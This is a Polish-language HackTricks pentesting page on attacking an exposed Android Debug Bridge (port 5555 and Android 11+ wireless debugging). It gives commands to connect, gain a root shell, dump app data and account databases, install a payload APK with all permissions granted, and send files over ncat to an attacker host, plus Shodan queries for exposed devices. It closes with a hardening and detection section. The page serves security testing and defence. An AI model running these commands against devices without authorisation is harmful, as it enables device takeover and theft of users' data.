5555 - Android Debug Bridge

Reading time: 7 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

Z dokumentacji:

Android Debug Bridge (adb) to narzędzie wiersza poleceń do komunikacji z urządzeniami i emulatorami opartymi na Androidzie. Typowe działania obejmują instalowanie pakietów, debugowanie i uzyskiwanie interaktywnej powłoki Unix na urządzeniu.

  • Historyczny domyślny port TCP: 5555 (klasyczny tryb "adb tcpip").
  • Nowoczesne debugowanie bezprzewodowe (Android 11+) wykorzystuje parowanie TLS i odkrywanie usług mDNS. Port połączenia jest dynamiczny i odkrywany za pomocą mDNS; może nie być 5555. Parowanie odbywa się za pomocą adb pair host:port, a następnie adb connect. Zobacz uwagi poniżej dotyczące implikacji ofensywnych.

Przykład odcisku nmap:

PORT     STATE SERVICE VERSION
5555/tcp open  adb     Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)

Połączenie

Jeśli znajdziesz ADB wystawione i dostępne, spróbuj szybko połączyć się i przeprowadzić enumerację:

bash
adb connect <ip>[:<port>]      # Default is 5555 for classic mode
adb devices -l                 # Confirm it shows as "device" (not unauthorized/offline)
adb shell                      # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true               # Works on eng/userdebug/insecure builds, many emulators/IoT
  • Jeśli urządzenie wymusza uwierzytelnianie ADB (ro.adb.secure=1), będziesz musiał być wstępnie autoryzowany (USB RSA auth) lub użyć parowania debugowania bezprzewodowego Android 11+ (co wymaga jednorazowego kodu wyświetlanego na urządzeniu).
  • Niektóre obrazy producentów, wersje inżynieryjne/userdebug, emulatory, telewizory, STB i zestawy deweloperskie udostępniają adbd bez uwierzytelnienia lub z adbd działającym jako root. W takich przypadkach zazwyczaj trafisz bezpośrednio do powłoki lub powłoki roota.

Aby uzyskać ogólny odniesienie do poleceń ADB, zobacz:

ADB Commands

Szybkie Po Eksploatacji

Gdy masz powłokę, zweryfikuj uprawnienia i kontekst SELinux:

bash
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint

Enumeracja i przechwytywanie danych

  • Lista aplikacji firm trzecich i ścieżek:
bash
pm list packages -3
pm path <pkg>
  • Jeśli masz roota (adb root lub su działa), możesz uzyskać dostęp do /data bezpośrednio. Jeśli nie, preferuj run-as dla aplikacji z możliwością debugowania:
bash
# Bez roota, dla aplikacji z możliwością debugowania
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>

# Z rootem
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
  • Przydatne artefakty systemowe (wymagany root):
  • /data/system/users/0/accounts.db i powiązane dane AccountManager
  • /data/misc/wifi/ (konfiguracje/klucze sieciowe w starszych wersjach)
  • Specyficzne dla aplikacji bazy danych SQLite i shared_prefs w /data/data/

Możesz użyć tego do odzyskania wrażliwych informacji (np. sekrety aplikacji). Aby uzyskać informacje na temat rozważania danych Chrome, zobacz problem odniesiony tutaj.

Wykonanie kodu i dostarczanie ładunku

  • Zainstaluj i automatycznie przyznaj uprawnienia w czasie rzeczywistym:
bash
adb install -r -g payload.apk         # -g przyznaje wszystkie uprawnienia w czasie rzeczywistym zadeklarowane w manifeście
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
  • Uruchamiaj aktywności/usługi/nadawania bezpośrednio:
bash
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>

Przekierowywanie portów i pivotowanie

Nawet bez roota, adb może przekierowywać lokalne porty do portów urządzenia i odwrotnie. Jest to przydatne do uzyskiwania dostępu do usług lokalnych na urządzeniu lub do eksponowania usług atakującego na urządzeniu.

  • Przekierowanie host->urządzenie (uzyskaj dostęp do lokalnej usługi urządzenia z hosta):
bash
adb forward tcp:2222 tcp:22       # Jeśli urządzenie uruchamia SSH (np. Termux/Dropbear)
adb forward tcp:8081 tcp:8080     # Ekspozycja lokalnego serwera debugowania aplikacji
  • Odwrócone urządzenie->host (pozwól urządzeniu dotrzeć do usługi na twoim hoście):
bash
adb reverse tcp:1080 tcp:1080     # Aplikacje urządzenia mogą teraz dotrzeć do host:1080 jako 127.0.0.1:1080
  • Ekfiltracja plików przez gniazda (bez zapisów na sdcard):
bash
# Na hoście: nasłuchuj
ncat -lvp 9000 > dump.tar
# Na urządzeniu: wyślij katalog jako tar (root lub run-as w zależności od potrzeb)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000

Debugowanie bezprzewodowe (Android 11+)

Nowoczesny Android implementuje bezprzewodowe debugowanie chronione TLS z parowaniem po stronie urządzenia i odkrywaniem mDNS:

bash
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port>   # Enter the 6-digit code shown on device
adb mdns services                  # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>

Notatki

  • Porty są dynamiczne; nie zakładaj 5555. Nazwy usług mDNS wyglądają następująco:
  • _adb-tls-pairing._tcp (parowanie)
  • _adb-tls-connect._tcp (połączenie sparowane)
  • _adb._tcp (legacy/plain)
  • Jeśli mDNS jest filtrowany, klasyczne włączanie z pomocą USB może nadal działać w niektórych wersjach: adb tcpip 5555, a następnie adb connect <ip>:5555 (do ponownego uruchomienia).

Implikacje ofensywne: jeśli możesz interagować z interfejsem użytkownika urządzenia (np. fizyczny dostęp lub błędna konfiguracja MDM mobilnego), aby włączyć debugowanie bezprzewodowe i zobaczyć kod parowania, możesz ustanowić długoterminowy sparowany kanał ADB bez kabla. Niektórzy producenci OEM udostępniają ADB przez TCP w obrazach inżynieryjnych/deweloperskich bez parowania — zawsze sprawdzaj.

Wzmacnianie / Wykrywanie

Obrońcy powinni zakładać, że każdy dostępny adbd (TCP) stanowi krytyczne ryzyko.

  • Wyłącz ADB i debugowanie bezprzewodowe, gdy nie są potrzebne. Cofnij autoryzacje debugowania USB w opcjach dewelopera.
  • Upewnij się, że polityka sieciowa blokuje przychodzące TCP/5555 i odkrywanie ADB oparte na mDNS w nieufnych segmentach.
  • Na urządzeniach pod twoją kontrolą:
bash
settings put global adb_enabled 0
setprop service.adb.tcp.port -1   # wyłącz nasłuchiwanie TCP (lub użyj: adb usb)
stop adbd; start adbd             # zrestartuj demon
  • Monitoruj rekordy mDNS _adb._tcp, _adb-tls-connect._tcp, _adb-tls-pairing._tcp w sieciach korporacyjnych i alerty dla nieoczekiwanych nasłuchiwaczy 5555.
  • Inwentaryzuj niebezpieczne wersje: getprop ro.debuggable, ro.build.type i ro.adb.secure.

Shodan

  • android debug bridge
  • port:5555 product:"Android Debug Bridge"

Odnośniki

  • Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
  • AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks